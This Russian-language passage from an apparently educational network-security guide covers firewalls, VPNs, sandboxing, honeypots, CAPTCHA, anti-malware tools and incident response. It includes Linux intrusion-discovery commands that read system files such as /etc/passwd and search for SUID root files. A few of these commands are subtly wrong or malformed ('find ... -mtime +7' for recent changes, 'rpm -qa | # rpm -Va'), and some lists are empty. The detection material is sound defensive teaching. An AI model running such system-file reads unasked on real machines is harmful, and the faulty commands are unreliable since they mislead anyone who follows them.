Хэшируйте подозрительный файл с помощью, например, HashCalc и сравните с результатом, полученным для заведомо рабочей копии этого файла.

Если возникли сомнения, выполните перезагрузку. Если вам не удается перезагрузить Windows -- происходит повисание или бесконечные попытки перезагрузки, начиная с определенной точки it -- даже в safe mode, тогда можно осуществить полную переустановку системы. Но прежде чем делать это, попытайтесь использовать Winternal's ERD Commander, чтобы спасти нужные вам файлы. Можно также попробовать восстановить систему с помощью backup.

На уровне фирмы или организации необходим специальный план реагирования на любой сетевой инцидент. Одно дело очистить одну или две машины и совершенно другое - выполнить то же самое для целой сети. Ниже приведен спиок ссылок, которые могут быть полезными для решения рассмотренных проблем:

  1. http://csrc.nist.gov/publications/nistpubs/800-83/SP800-83.pdf
  2. http://csrc.nist.gov/publications/nistpubs/800-61/sp800-61.pdf
  3. http://www.first.org/resources/guides
  4. http://cirt.rutgers.edu/tools.php

Firewall

Традиционные Firewall постепенно замещаются программами, способными анализировать не только заголовки, но и данные, например, XML-firewall или WEB-сервис firewall. Следует иметь в виду, что наличие Firewall сети или отдельной ЭВМ не является гарантией безопасности, в частности потому, что сама эта программа может стать объектом атаки. XML-firewall анализирует содержимое (поле данных пакетов) сообщений и контролирует аутентификацию, авторизацию и акоунтинг. Различие между XML-firewall и WEB-сервис firewall заключается в том, что последний не поддерживает открытые стандарты. В настоящее время Firewall должны контролировать четыре аспекта:

  1. Целостность сообщений
  2. Предотвращение DoS атак
  3. Защита с учетом анализа данных
  4. Аутентификация и авторизация.

Смотри:
http://www.nwc.com/showitem.jhtml
http://www.oasis-open.org
http://vulcan.forumsys.com
Firewall
http://nwc.securitypipline.com (Network Computing USA's Security Pipeline - 'XML Gateways' article by Lori McVittie).

До недавнего времени компания CISCO хранила пароли в конфигурационных файлах в виде открытого текста, теперь они собираются использовать хешированное хранение паролей.

Но современные ЭВМ легко позволяют подобрать пароль при наличии хеша (2ГГц Intel может проверить 5000 паролей в сек). По этой причине нужно ограничить доступ к файлу хешей паролей. Табличный метод (rainbow tables) может ускорить подбор на порядок.

Многофакторная аутентификация является, похоже, единственной альтернативой современной системе паролей. Здесь имеется в виду использование сертификатов, ID-карт пользователей, и контроль их биометрических данных (отпечатков пальцев, голоса или радужной оболочки глаза).

Многие администраторы, установив Firewall, IDS и антивирусную защиту, считают задачу обеспечения сетевой безопасности выполненной. К сожалению, это лишь небольшая часть мер обеспечения безопасности. При проектировании системы безопасности полезно иметь в виду пирамиду Maslow'а (смотри рис. 7). И начинать надо с проектирования основания пирамиды, где расположено управление обновлением программных продуктов (Patches) и организация основных процедур. Это логично, так как хакеры обычно фокусируют свои усилия на известных уязвимостях ОС или приложений, и своевременное их обновление, блокирующее выявленные слабости, крайне важно. Такие обновления должны сначала тестироваться с целью детектирования возможных негативных последствий, прежде чем они будут рекомендованы или установлены на всех ЭВМ организации. Источник обновления должен также проверяться всеми возможными средствами. Выполнение обновлений должно поручаться квалифицированному персоналу. Должны быть разработаны инструкции для базовых операций администрирования ЭВМ и сети в целом. Сюда входят операции аутентификации и авторизации, контроля качества паролей, шифрование административного трафика, обслуживание журнальных файлов и т.д.


Следует только иметь в виду, что периметр локальной сети, который призван защищать Firewall, размываются (мобильне средства коммуникаций, носимые туда-сюда laptop'ы, DVD, USB-флэшки и BYOD).

VLAN и VPN

Несколько увеличить безопасность может применение VLAN или VPN. Эти технологии не дают абсолютной защиты, но заметно поднимают уровень безопасности. Здесь нужно разделять истинные VPN и виртуальные сети, формируемые в рамках протокола MPLS. Последние помогают улучшить ситуацию лишь незначительно. Хотя пометка определенных потоков с помощью DSCP, меток MPLS или IPv6, не давая реальной защиты, заметно усложняют работу хакера (что само по себе уже неплохо). Фирменные VPN достаточно эффективны, но включение в них мобильных laptop делает их уязвимыми, так как невозможно проконтролировать контакты такой машины, когда она находится вне VPN (возможно заражение, которое при последующем подключение к VPN может скомпрометировать всю эту сеть). По этой причине в некоторых компаниях перед подключением к сети такая машина контролируется на наличие в ней вредоносных кодов. Стационарные удаленные компьютеры рекомендуется снабжать полным комплектов детекторов вредоносных программ и программным Firewall. Но это не дает гарантии, так как laptop может попасть в руки детей или знакомых, а они могут зайти на какой-то неблагополучный WEB-сайт и там получить троянского коня или spyware. Они не знакомы с корпоративными правилами сетевой безопаности и не обязаны их выполнять. В обзоре "Дома они расслабляются" приведены исчерпывающие цифры исследований того как ведут себя и как к этому относятся сотрудники фирм, работающие время от времени в корпоративной сети удаленно (из дома). Усилить безопасность может использование протокола IPSec (Internet Protocol Security)

В последнее время виртуализация процессов, машин и т.д. становится одной из основных тенденций. У этой технологии имеется большое число преимуществ (например, повышение эффективности использования имеющихся ресурсов). Но виртуализация ставит и новые проблемы. В частности это относится к трудностям реализации выбранной политики безопасности.

Примерно 90% всех мобильных приборов (лэптопы, MP3, USB-флэшки) не имеют необходимой защиты. Кроме того каждый год более одного миллиона компьютеров теряется или крадется, при этом менее 2% удается вернуть. Кража корпоративного laptop в среднем обходится в более чем 80000$. За два с половиной года было компрометировано 160000000 рекордов конфиденциальной информации.


Впервые зарегистрирован случай заражения вирусом бортовой машины международной космической станции. Заражение произошло через USB флэш-память. И это при тотатьном контроле! Что можно ожидать в обычных наземных услових при практически тотальном разгильдйстве?

Расцвет сетевого воровства происходит, в том числе и потому, что грабить человека, лица которого не видишь, психологически много проще.


При разработке средств защиты учет психологии как атакера, так и его потенциальной жертвы совершенно необходим.

Рис. 7. Пирамида Maslow

На следующем уровне размещается архитектура безопасности сети и составляющих систем (Firewall, системы управления доступом на прикладном уровне). Конечно, Firewall закрывает многие уязвимости, создаваемые дурным администрированием, но не все.

Далее следует уровень безопасности специфических программ организации, так как именно они становятся чаще всего мишенями атаки. Например, FreeBSD имеет МАС-механизм (Mandatory Access Control), который препятствует приложению вести себя некорректным образом. Аналогичные возможности имеет SELinux (Security Enhanced Linux). Но конфигурирование этих систем весьма сложно. На этом же уровне работают списки доступа ACL (Access Contol List).

На вершине пирамиды находятся системы IDS/IPS. К числу средств проверки безопасности компьютера или сети можно отнести сканер уязвимостей (например, NESSUS). Сочетание всех этих средств обеспечит 85% безопасности, но оставшиеся 15% закрыть крайне сложно.

При разработке новых устройств и программ надо уже на стадии проектирования встраивать в них средства безопасности. Должны быть разработаны специальные курсы обучения тому, как писать безопасные программы, например, CGI.

Администратор может поменять стандартные значения номеров портов для обычных видов сервиса (SSH, FTP, WWW и т.д.. Это не делает эти сервисы безопасными, но заметно осложняет работу хакера. Он может просканировать порты и найти нужное значение, но это, вероятно, привлечет внимание администратора. Аналогично можно поменять имена некоторых системных утилит, например, cmd.exe, telnet.exe, tftp.exe и т.д.. При этом номера портов нужно будет задавать явно, что осложнит и работу обычных пользователей. Такие меры можно рассматривать в качестве дополнительных.

Одним из средств противодействия атакам является введение производителями микропроцессоров флага NX (не исполнять), который позволяет разделить память на области, где вариация содержимого возможна, а где - нет. Такая технология препятствует модификации хакерами демонов и фрагментов ОС и позволяет заблокировать любые атаки, сопряженные с переполнением буферов. Данная технология внедрена компанией AMD в своем 64-битовом процессоре, а Intel в процессоре Itanium (2001 год). Для широкого внедрения этой техники нужно переписать и перекомпилировать существующие ОС. В настоящее время эта техника внедрена в Microsoft Windows Server 2003 (Service Pack 1), Microsoft Windows XP (Service Pack 2), SUSE Linux 9.2 и Red Hat Enterprise Linux 3 с обновлением 3. Некоторые разработчики ОС внедрили эмуляции NX для процессоров, где этот флаг аппаратно не поддерживается. Развитие технологий NX может по оценкам экспертов (Network Security, V2005, Issue 2, февраль 2005, стр. 12-14) к 2009 году закрыть угрозу атак, сопряженных с переполнением буферов. Эта же методика может блокировать и распространения Интернет-червей.

Одной из наиболее частых мишеней атак являются базы данных, которые являются основой большинства информационных систем. Разработана схема, при которой исходная копия базы хранится на базовой ЭВМ, не связанной с Интернет. Копии этой базы передаются на компьютеры, которые обслуживают внешние сетевые запросы. При этом данные снабжаются цифровой подписью базовой ЭВМ. Вместе с откликом на запрос пользователь получает не только запрошенные данные, но и подтверждение того, что они получены из исходной базы. Как отклик, так и подтверждение снабжаются цифровой подписью, что позволяет клиенту проверить неискаженность полученных данных.


Пользователь сети должен ответить себе на следующие вопросы:

Почему могут атаковать его сервер или рабочую станцию?

Какие угрозы и при каких условиях могут ему угрожать?

На сколько надежно и от каких угроз защищена сеть?

Ответив на эти вопросы, он сможет определить, какие средства защиты следует использовать. Некоторые пользователи, зная, что работают за Firewall, или, что почтовый сервер снабжен антивирусной защитой, считают, что им ничего не грозит. При этом никогда не следует исходить из предположения, что если у вас нет никакой привлекательной для воров информации, то ваша машина в безопасности. Она может быть нужна хакерам для атак других ЭВМ, для рассылки SPAM и т.д. Ваша ЭВМ может быть привлекательна для хакера просто потому, что плохо защищена. Конечно, сетевая безопасность является областью ответственности администраторов, но пользователи должны понимать, от чего они защищены, а от чего - нет.

Стирайте или еще лучше физически уничтожайте неиспользуемые диски, CD и другие носители.

При работе с беспроводными сетями следует использовать VPN с шифрованием. Беспроводное оборудование должно отключаться сразу после завершения использования.

Администраторы должны выдавать новый пароль в случае утраты, только позвонив предварительно клиенту по телефону.

В случае работы с беспроводными сетями при выявлении подозрительного объекта желательно его локализовать. Это может быть сделано с помощью узконаправленной антенны c аттенюатором входного сигнала. Помочь этому может программа GSP, поставляемая вместе с Kismet. Система аудита беспроводной сети должна непрерывно контролировать сотни устройств внутри и вблизи здания, где работает мониторируемая беспроводная сеть.

Существуют специальные средства выявления уязвимостей сети. Следует учитывать, что полный доклад о таких уязвимостях может иметь размер телефонной книги. В такой ситуации трудно решить, с чего начать, если число уязвимостей больше 10000. Одним из возможных подходов является использование этих данных совместно с результатами работы IDS. Это сделано, например, в ESM (Enterprise Security Management) или в SIM (Security Information Management).

Выявление все новых уязвимостей вынуждает более внимательно относиться системам обновлений (patches). В случае обеспечения безопасности отдельной ЭВМ применима системы Microsoft SMS (System Management Server) и SUS (Software Update Service). Существуют и общедоступные средства, например, www.patchmanagement.org. Следует учитывать, что процесс копирования и обновления ОС или приложений является сам уязвимым и проводить его следует со всеми возможными предосторожностями.


Хорошие результаты с точки зрения безопасности могут быть получены, если запретить пользователям устанавливать программное обеспечение по своему усмотрению.

Sandbox и Virtual Environment

При запуске на сервере недостаточно отлаженной программы или программы, взятой из ненадежного источника, следует принимать дополнительные меры безопасности. К таким мерам можно отнести программную среду sandbox, которая контролирует использование системных ресурсов (памяти, доступа к сети и пр.) и может минимизировать возможные негативные последствия. К таким средствам можно отнести некоторые интерпретаторы языков скриптов, jail, VE, виртуальные машины и др.

В последнее время разработана новая технология, которая обеспечивает приемлемый уровень безопасности. Это VE (Virtual Environment) (см. Network Security, V2004, Issue 11, ноябрь 2004, стр. 18-19). Целью этой технологии является предотвращение возможного ущерба от вредоносной программы. Здесь каждая программа выполняется на отдельном виртуальном компьютере. Любые обмены между виртуальными машинами запрещаются. В таких условиях вирусы, например, не могут ничего повредить кроме самих себя. О существовании других программ он просто не может знать. Для обычного пользователя все остается неизменным. Реализация VE не эмулирует ЦПУ или другие ресурсы и функции. Вместо этого осуществляются операции с системными объектами и маршрутизацией входных/выходных вызовов. Таким образом, исключается какое-либо замедление работы машины.

VE определяет схему взаимодействий и распределение прав доступа. VE инкапсулирует программу или группу программ, предоставляя весь спектр услуг (память, коммуникации и пр.). При этом дублируются все необходимые данные. VE не могут быть полностью изолированы друг от друга и, тем более, от ОС. Типичное взаимодействие между VE сопряжено с использование общих данных. Любые операции VE связанные с ресурсами ЭВМ находятся под жестким контролем.

Для файловой системы и Registry главным препятствием является дублирование ресурсов. C одной стороны программа должны иметь возможность изменять существующие значения, например, ключей Registry или конфигурационных файлов ОС. С другой стороны, если программа является вирусом, любые изменения должны блокироваться. Если, например, программа запрашивает изменение ключа конфигурационного реестра (Registry), генерируется новая копия этого ключа и она становится частью соответствующего VE (метод Copy-On_Write). Если программа решает уничтожить ключ, она ликвидирует локальную копию. Для всех программ данного VE ключ перестает существовать. Но копия ключа ОС остается неизменной (метод Leave-On-Delete).

Для обеспечения полной безопасности VE технология должна размещаться ниже ядра, а не работать параллельно ему. Это делается путем размещения устройства VE в первом секторе, переместив ядро в сектор 1 или 2, что предоставляет VE-устройству полный контроль над ЭВМ. Существует несколько вариантов взаимодействия VE и ОС.

Еще одной модификацией подобных средств защиты является sandbox, где ограничивается доступ к памяти, файловой системе и другим ресурсам, что позволяет блокировать угрозы даже со стороны вредоносных программ "нулевого дня". Впрочем, хакеры стараются детектировать ситуацию, когда их код выполняется в среде sandbox, и делают все, чтобы избежать идентификации.

На верхнем уровне API разработана система docker, которая позволяет исполнять процессы в изоляции так, что они не могут повредить ОС или другим процессам.

Так как самой массовой ОС для серверов в настоящее время являются различные разновидности LINUX, разработчикам новых версий этой ОС следует задуматься о встроенных средствах безопасности. Одним из таких подходов может стать минимизация ядра ОС. Только для ядра небольшого размера можно гарантировать его безопасность, тексты с миллионом строк привилегированного объектного кода неконтролируемы. В такое ядро должно быть включено минимальное число функций (управление памятью, критическими ресурсами и доступом). ОС не должна напрямую контактировать с внешними устройствами. Остальные функции должны иметь модульный характер и включаться в оболочку.

Работа Syslog допускает передачу данных посредством протокола UDP (существует версия syslog-ng, где транспортным протоколом может быть TCP). Если атакер имеет доступ к каналу между отправителем и получателем, он сможет отслеживать обмен и уничтожать или фальсифицировать данные, говорящие о его присутствии. Хакер может также посылать уведомления получателю (по известному порту), добиваясь переполнения диска и блокировки работы системы журналирования. Журнальные файлы помимо достоверности и полноты должны обладать также юридической корректностью, чтобы их данные можно было использовать при судебных спорах. Это предполагает использование электронных подписей, чего по умолчанию пока нет ни в одной из систем syslog. Но существуют версии, где делается попытка решить все эти проблемы: модульный syslog, SDSC Syslog, Syslog Ng и Kiwi.

Honeypot и HoneyNet

Если атакер обычно собирает данные о будущем объекте атаки, то также следует действовать и потенциальным жертвам. Необходимо формировать динамически обновляемые базы данных сигнатур атак (уже существует) и атакеров. Возможным инструментом сбора таких данных может стать Honeypot (HoneyNet, Honeytoken, смотри project.honeynet.org). Эти программные средства позволяют выявить последовательность действий хакера. Это особенно важно для выявления сигнатур неизвестных атак. Если вам известен скомпрометированная ЭВМ, можно послать туда параметры доступа и адрес вашего honeypot, чтобы спровоцировать хакера. Honeypot интересен тем, что там нет полезных ресурсов, и обычные пользователи не будут пытаться туда войти. HoneyNet - это объект, который выглядит из внешней сети как сеть из некоторого числа машин. В реальности все эти виртуальные машины могут размещаться в одном компьютере. Цели HoneyNet те же, что и в случае Honeypot. Возможная схема подключения Honeypot показана на рис. 7A.

Рис. 7A. Возможная схема подключения Honeypot

Honeypot размещается в демилитаризованной зоне. Настройка Firewall2 более регламентирующая, что обеспечит требуемый уровень безопасности защищаемой локальной сети.

Другим подходом обеспечения безопасности может стать модель TPM (Trusted Platform Module), разработанная группой TCG (Trusted Computing Group). В эту группу входит более 50 компаний. Некоммерческие разработчики, например LINUX в эту группу не входят. ТРМ встраивается в базовую плату процессора и обеспечивает процедуры шифрования/дешифрования файлов и каталогов, а также исключает подмену или искажения защищаемых объектов.

Полезно использовать в фирме или организации шлюз-фильтр, препятствующий посещению сотрудниками со служебных машин определнных сайтов (порно, азартные игры, наркотики, пропоганда насилия, расизма, узлы, зараженные, какими-либо видами malware). Такая мера сэкономит сетевые ресурсы, рабочее время сотрудников и исключит заражения машин вредоносными кодами. Для решения этой же задачи важно контролировать поведение сотрудников в сети, регистрируя адреса посещаемых ими сайтов.

Следует иметь в виду, что безопасность - это процесс. Если вы установили на вашей машине в 2007 году наилучшие защитные программы и оптимальным образом сконфигурировали ваш компьютер, то вы не могли тем не менее расчитывать на неуязвимость. Если же вы и с тех пор ничего не делали, то безопасность вашей машины под угрозой.

Улучшению ситуации будет также способствовать политика безопасности, минимизирующая сетевые привилегии сотрудников. Каждый сотрудник должен иметь доступ только к тем ресурсам и данным, которые ему необходимы для реализации его служебных обязанностей. Архитектура сети организации должна иметь несколько зон с разными режимами доступа и системой детектированием потенциально опасных действий. Персонал должен быть подготовлен для работы в случае атаки или вторжения. Порядок работы в таких ситуациях должен быть описан в соответствующем документе (описание политики безопасности фирмы или организации). Степень готовности сети и серверов к атакам полезно проверять с использованием специальных программ или даже с привлечением внешних экспертов.

Дальнейшим развитием технологии honeypot является техника sinkholing, предназначенная для анализа и управления системами, зараженными вредоносными кодами (см. "How can sinkholing improve advanced threat defense?, Nick Lewis).

Сетевая информация, которую полезно собирать

Число различных сервисов, работающих на ЭВМ (например, telnet, ssh, rlogin, http, https, ldap, vns, irc, rpc, smtp и т.д.) достаточно велико. Анализ этого списка и его вариаций со временем позволяет составить представление о возможной уязвимости системы. Определенную пользу может принести выявление ОС, установленных на ЭВМ сети (LINUX, Windows, FreeBSD и т.д.). Администратору проще иметь дело с одной ОС, но тотальная унификация имеет и недостатки. Один и тот же вирус или червь может парализовать единовременно всю сеть целиком. Понятно, что система сбора любых сетевых данных не должна поглощать заметной части ресурсов.

Полезно мониторировать, кто, когда и куда копировал те или иные файлы, содержащие критическую информацию. На самом деле желательно иметь всю информацию о состоянии сети:

Конечно, если всю эту информацию "выплеснуть" на администратора, он в ней захлебнется. Нужны критерии необычности тех или иных данных. При этом должна учитываться должность сотрудника, его служебные обязанности и время выполнения той или иной операции. То что обычно в рабочее время, может выглядеть странно в выходные дни или ночью. Должны обращать на себя внимание любые периодические операции, выполняемые в одно и то же время. А для фильтрации информации нужны специальные скрипты.

Рассмотрим признаки, которые могут свидетельствовать об успешном вторжении в ЭВМ (вариант ОС LINUX) (см. Network Security, V2004, Issue 8, "LINUX intrusion discovery: when security fails", Anton Chuvakin, август 2004, стр. 10-12):

Часто администратор лишь чувствует, что что-то происходит не так. Этого должно быть достаточно, чтобы начать исследования. Ниже приводится перечень команд, которые позволяют выявить и конкретизовать названные выше аномалии.

  1. Для выявления файлов, существенно модифицированных в последнее время, что может свидетельствовать, например, о запуске программы типа sniffer, следует выполнить команду (наберитесь терпения, поиск будет происходить, начиная с корневого каталога):


  2. find / -size +1000k -mtime +7 -print


    Чтобы обнаружить наличие активных программ типа sniffer, можно выдать команду


    ip link | grep PROMISC или /sbin/ifconfig

    Вторая команда позволяет выяснить состояние сетевых интерфейсов компьютера. Для получения дополнительных данных (IP-адрес, маска, МАС-адрес и пр.) об интерфесе можно выдать, например, команду sudo ifconfig eth0. После реконфигурации, если это потребовалось, можно выдать команду sudo service network restart (Red Hat).

  3. Наличие файлов Nobody может указывать, что атакер создал, использовал и затем удалил акаунт нового пользователя. Выявить такие объекты можно с помощью команды:


  4. find / -nouser -print


  5. Для обнаружения файлов SUID root в необычных местах (например, вне каталогов /sbin и /bin), что иногда указывает на попытку сформировать люк для последующего входа в систему, следует выполнить команду.


  6. find / -uid 0 -perm -4000 -print


  7. Для выявления файлов с необычными именами (например, ".", " ", "..." и т.д.), что указывает на работу начинающего хакера, следует исполнить команду.


  8. find / -name "..." -print


  9. Для поиска подозрительных акаунтов (новые аккоунты с системными привилегиями) можно выполнить команду:

grep :0: /etc/passwd


Попытки хакера установить свое программное обеспечение часто приводит к повреждению системных или прикладных программ. В системе RedHat имеется встроенная система RPM (RedHat Package Manager), которая позволяет выявить такие повреждения. Например, команда


rpm -qa | # rpm -Va | sort


поможет решить эту проблему. Для этой же цели можно использовать программу chkrootkit (www.chkrootkit.org).

Просмотрев список активных процессов с помощью команды ps -aux, следует обратить внимание на демоны, проход к которым начинается с символа точка, а также на любые необычные имена процессов. Чтобы узнать подробности, следует заглянуть непосредственно в каталог /proc. Например, выдав команду cat /proc/20999, где 20999 - pid процесса. Для выявления прослушивающих сервисов можно выдать команду netstat -nap.

Для детектирования rootkit можно использовать контрольный суммы файлов MD5, а также фиксируя излишние права доступа к определенным файлам. Полезен также поиск "невидимых" файлов в непривычных местах.

Для того чтобы надежно контролировать целостность системы, полезно регулярно проводить контрольное суммирование всех или хотя бы наиболее важных, например, конфигурационных файлов. Контрольные суммы лучше хранить на каком-то другом компьютере.

Что касается противодействия Rootkit, можно рекомендовать следующее. Если вы работаете с ОС LINUX желательно установить программу rkhunter, для других типов ОС целесообразно воспользоваться AVG AntiRootkit или ComboFix. Нужно в обязательном порядке контролировать потоки данных, исходящие из вашей машины, ведь в случае взлома она может стать средством для рассылки SPAM.

В случае мониторинга атак большой сети, например, с потоком 1-10Гбит/c задача становится крайне сложной, так как программа мониторинга, например SNORT, должна обрабатывать огромные входные потоки, да и про стремительно растущий перечень сигнатур атак забывать не следует. Поток атак в таких условиях, тем не менее остается нестационарным (см. рис. 7б, выборка проводится из базы данных около 7 утра).

Рис. 7б. Временная зависимость числа атак за 5 минут сети МСЦ РАН

В среднем интенсивность атак находится на уровне 1200 атак за 5 минут (240/мин), но пиковые значения достигают 6000 за 5 мин. (20 атак/сек)

Хорошим индикатором состояния системы может стать даже темп роста размера журнального файла, например, access_log. Но даже большие выбросы на диаграмме скорости роста не обязательно означают атаку. Это может быть результатом, например, работы программ Wget или Webcopier. Но анализировать такие выбросы полезно. Пример такой диаграммы показан на рис. 7в (см. saturn.itep.ru). Понятно, что большое число запросов (~80/мин) не может быть сформировано вручную (запросы поисковых серверов, а также наведенные запросы, например, рисунков из запрашиваемого объектов, были удалены из анализируемого материала). Это результат работы специального скрипта.

Рис. 7в. Диаграмма изменения темпа роста размера журнального файла access_log со временем

Приведенная диаграмма отражает картину за последние сутки, но время отклика на попытку атаки не должна превышать 30 минут. По этой причине нужно выявлять наиболее опасные события, например, попытки подбора пароля и блокировать их немедленно, возможно даже автоматически.

Можно выполнить команды типа ls /usr/bin или ls /usr/sbin, чтобы проверить не изменены ли имена ваших приложений. Если дурные предчувствия оправдались и ваша машина предположительно заражена RootKit, нужно немедленно ее выключить, снять системный диск и смонтировать его на другой машине. После этого скопировать с диска наиболее важную информацию и только после этого заняться проблемой удаления вредоносной программы. При этом нужно быть готовым к тому, что потребуется переформатирование диска... Для целей диагностики крайне полезна программа Tripwire, которая отслеживает изменения в файлах и каталогах. В более сложных случаях можно сделать распечатку содержимого памяти компьютера, сравнить его с эталоном, если таковой имеется, и далее с помощью отладчика попытаться выяснить, что произошло с вашей машиной. Но это последнее средство отнюдь не для начинающих пользователей.

В настоящее время существует около десятка различных версий браузеров. Одни из них безопаснее, другие менее, причем в разное время лидерами по безопасности оказываются разные программы. По этой причине нужно либо отслеживать последние новости по этой проблеме, либо использовать программные средства тестирования безопасности браузеров. Для этой цели можно применить: BrowserSPY.dk, BrowserScope, PC Flank, BrowserCheck или какую-то иную программу. Многие такие программы выявляют не только слабости браузеров, но и некоторые уязвимости ОС и приложений. Смотри Five tips for testing Web brouser security.

Не следует забывать и о различных автоматических программах анализа журнальных файлов. Такие программы помогают выявить наиболее назойливых хакеров, занимающихся подбором паролей (файл secure), или ищущих на WEB-сайте каких-то уязвимых программ (файл error_log). Некоторые хакеры ищут легкомысленных администраторов, которые разрешили использование на своих сайтах методов PUT, DELETE или OPTIONS (HTTP). Другие включают в запросы недопустимые параметры или большое число символов //////. Все это может быть выявлено программами разбора журнальных файлов.

CAPTCHA

Одним из популярных видов вторжения является прямой подбор параметров аутентификации (имени и пароля), для этого используются специальные программы или скрипты. Вполне разумным способом противодействия является отображение на странице ввода пароля графического образа, содержащего последовательность символов, замаскированных какими-то другими изображениями (смотри рисунок ниже). Аутентифицирующемуся клиенту предлагается ввести эту последовательность символов в дополнение к паролю. Картинки при каждой попытке используются разные (из некоторого набора). Предположить, что хакер решится на перебор многих тысяч вариантов параметров доступа вручную, достаточно трудно. Хакеры упорны, но ленивы. Метод называется CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart).

Пример CAPTCHA


Когда требуется более высокий уровень безопасности можно потребовать ввода дополнительных данных, например, девичью фамилию матери или что-то в этом роде. Скрипты пока преодолеть такой барьер не могут. Можно также ввести контроль частоты следования запросов, чтобы разделить работу скрипта и человека.

Если нужно решить сходную проблему для случая взаимодействия машина-машина, можно воспользоваться системой Proof-of-work (http://en.wikipedia.org/wiki/Proof-of-work_system), которая в свою очередь для решения задачи обеспечения безопасности использует протокол CPP (Client Puzzle Protocol - http://en.wikipedia.org/wiki/Client_Puzzle_Protocol). Этот протокол предполагает, что клиент, подключаясь к серверу, должен правильно решить некоторую математическую головоломку. Результат посылается серверу и, в случае правильного решения, соединение устанавливается.

Antimalware

Обычно я не уделяю внимания конкретным программным средствам, но серьезность сетевых угроз вынудила меня сделать исключение.

  1. Начать рекомендуется с использования общедоступной программы компании Microsoft Process Explorer, которая позволяет выявить активные процессы и узнать назначение каждого из них. Используя эту программу регулярно и фиксируя результаты ее применения можно выявить изменения, которые происходят на вашем компьютере. Если выявлены процессы непонятного назначения, следует уделить им повышенное внимание, так как это может оказаться результатом загрузки malware.
  2. Более мощным средством сходного назначения является HiJackThis. Принцип применения и назначения аналогичен Process Explorer. Программа служит для фиксации обычного состояния ОС для того, чтобы было можно детектировать любые ее изменения. Запуск таких программ следует выполнять первый раз, когда вы уверены в отсутствии malware. Существует несколько доступных программ, которые автоматически анализируют журнальные файлы HiJackThis. Это прежде всего HiJackThis.de Security и NetworkTechs.com. Для продвинутых пользователей существует форум HiJackThis.
  3. Лаборатория Касперского предлагает сходное приложение GetSystemInfo. Это приложение содержит в себе встроенный анализатор, работающий в реальном масштабе времени. Следует быть осторожным, если программа рекомендует удалить какой-то процесс, а вы не знаете наверняка, что это не вызовет непоправимых последствий.
  4. Существуют достаточно эффективные анализаторы уязвимостей. А если вы сможете перекрыть уязвимости, никакое malware к вам не попадет. К числу таких анализаторов можно отнести Microsoft Baseline Security Analyzer (MBSA). Эта программа выявляет некорректные параметры конфигурации, а также проверяет продукты компании Microsoft на отсутствие необходимых обновлений.
  5. Еще одним сканером уязвимостей является Secunia’s scanners. В отличии от MBSA Secunia может успешно сканировать сотни других программных продуктов (не Microsoft). Если требуется обновление приложения, эта программа предлагает URL-ссылку, где такое обновление можно получить.
  6. Особую проблему составляют атаки нулевого дня и вирусы нулевого дня, т.е. атаки и вирусы, сигнатуры которых неизвестны.

  7. Хотя антивирусные программы часто пропускают заражения malware, вряд ли разумно рекомендовать работу без антивирусной защиты. Выбор антивируса индивидуален. Для частных машин можно попытаться использовать общедоступные версии, например, для машин Windows Avast или Comodo.
  8. Достаточно привлекательным средством для выявления и удаления malware является программа Microsoft Malicious Software Removal Tool (MSRT). Эффективность этой программы связана с тем, что разработчики Microsoft легко могут определить, является ли конкретный код фирменным. В этом продукте сканирование и удаление malware происходит автоматически. Обновление базы данных сигнатур осуществляется также автоматически.
  9. Еще одним универсальным сканером malware является SUPERAntiSpyware.
  10. Пожалуй наиболее эффективным antimalware сканером является Malwarebytes Anti-Malware (MBAM), разработанный при участии Jose Nazarrio из Arbor Networks. Смотри также Malware scanners: MBAM is best of breed.
  11. Если рассматривать проблему rootkit, где регистрация и удаление malware проблематичны, наилучшее, что может быть рекомендовано, это GMER

Одним из главных и безусловных требований является своевременное обновление всех системных и прикладных программ. Время от времени выявляются уязвимости этих программ и разработчики вносят в них нужные коррективы. Не облегчайте жизнь хакерам и соевременно загружайте такие обновления.

Атаки типа APT (см. Definitive Guide to Winning the War Against the New Breed of Cyber Attacks Next-Generation, by Steve Piper, FireEye) и множество атак нулевого дня требуют разработки новых систем защиты от вредоносных кодов. Пример системы (NGTP - New Generation Threat Protection) предотвращения угроз нового поколения представлен на рисунке ниже (MPS - Malware Protection System; SIEM - Security Information & Event Management; CMS - Central Management System). Атаки типа ATP осуществляются в несколько этапов и система MPS должна обеспечивать защиту всегда. Для неизвестных ранее атак MPS анализирует подозрительные двоичные приложения. Следует иметь в виду, что занесение RAT (Remote Adminictration Tool) возможно и через любое мобильное устройство.

Система предотвращения угроз нового поколения (NGTP)


Браузеры (в частности, Internet Explorer) и WEB-серверы довольно часто становятся объектами атак. Cвязано это с тем, что они являются широко распространенными и достаточно сложными программами, которые пользователи не обновляют своевременно. Другим объектом атак являются IIS (Internet Information Server) и Apache. Здесь успех атаки зависит, кроме того, от корректности конфигурации программы. Уязвимость WEB-сервера возрастает, когда он предоставляет площадки (hosting) для размещения десятков, а иногда и тысяч, WEB-серверов клиентов. Особую угрозу представляют взломанные машины, которые превращены в прокси серверы. Это позволяет хакеру замаскировать свою активность. Большинство пользователей не понимают требований протокола SSL, не знают, как проверить корректность загружаемых программ, не могут даже понять, имеются ли в поведении их компьютера какие-либо отклонения от нормы, не используют Firewall в своих домашних сетях и т.д. машины таких пользователей чаще всего и являются объектами атак.

Так как некоторые сайты нельзя просмотреть, если запретить выполнение JavaScript, Java-аплетов, .NET-приложений, Flash или ActiveX, разрешение работы этих программ в рамках браузера на вашем компьютере открывает двери для вторжений в случае наличия ошибок в кодах WEB-приложений, которые принимают ввод пользователей и используют cookies. Любые WEB-приложения, которые предполагают ввод текста в диалоговом режиме (блоги, wiki, комментарии и пр.) потенциально могут стать средством ввода вредоносного кода и последующей пересылки его другим пользователям.

Многих угроз можно избежать, если сформировать шлюз (gateway) WEB-сервера, который может:

В последнее время разнообразие вредносных программ достигло такого уровня, что даже немногие профессионалы смогут четко определить их идентичность.

Противодействие атакам типа ARP spoofing и пр.

Для ликвидации угроз атак типа ARP spoofing можно воспользоваться ArpON (ARP handler inspection). Это переносимый демон, который делает ARP-протокол безопасным в отношении атак MITM (Man In The Middle), ARP Spoofing, ARP Cache Poisoning и ARP Poison Routing (APR). Эта программа блокирует и многие другие атаки (Sniffing, Hijacking, Injection, Filtering, DNS Spoofing, WEB Spoofing, Session Hijacking и SSL/TLS Hijacking.

